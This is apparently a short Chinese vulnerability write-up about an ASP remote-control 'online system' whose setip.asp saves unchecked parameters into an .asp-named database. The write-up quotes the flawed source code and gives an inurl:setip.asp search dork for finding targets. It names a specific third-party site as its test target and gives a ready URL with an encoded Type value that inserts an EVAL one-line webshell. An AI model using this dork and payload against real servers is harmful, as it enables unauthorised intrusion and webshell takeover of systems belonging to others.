漏洞描述:
在默认的情况下,利用该漏洞可得到上线系统所在服务器的webshell
ASP上线系统中保存上线IP信息的数据库的扩展名默认为asp
写入配置时对参数未作检查,setip.asp相关代码
<% strIP=Trim(Request.QueryString("Ip")) strPort=Trim(Request.QueryString("Port")) strType=Trim(Request.QueryString("Type")) if strType="0" then strIP=Request.ServerVariables("REMOTE_HOST") end if sql="select * from Info where strMark='Main'" rs.Open sql,conn,1,3 if not rs.eof or not rs.bof then rs("strIPAddress")=strIP rs("strPort")=strPort rs("strType")=strType rs.update '不要修改下面的反馈字符.否则程序不知道是否更新成功. response.write "update success!" else response.write "update fail!" end if set rs=nothing conn.close set conn=nothing 以“inurl:setip.asp”为关键字找了一个测试地址
http://zomei.com/blackhole/setip.asp 提交
http://zomei.com/blackhole/setip.asp?Type=%A9%E0%B0Y%CE%DB%A0%84%9F%A8%94%B3%AC%9B%A1%C5%A1%D4%A9%CD%90%F7 这样就插入了EVAL一句话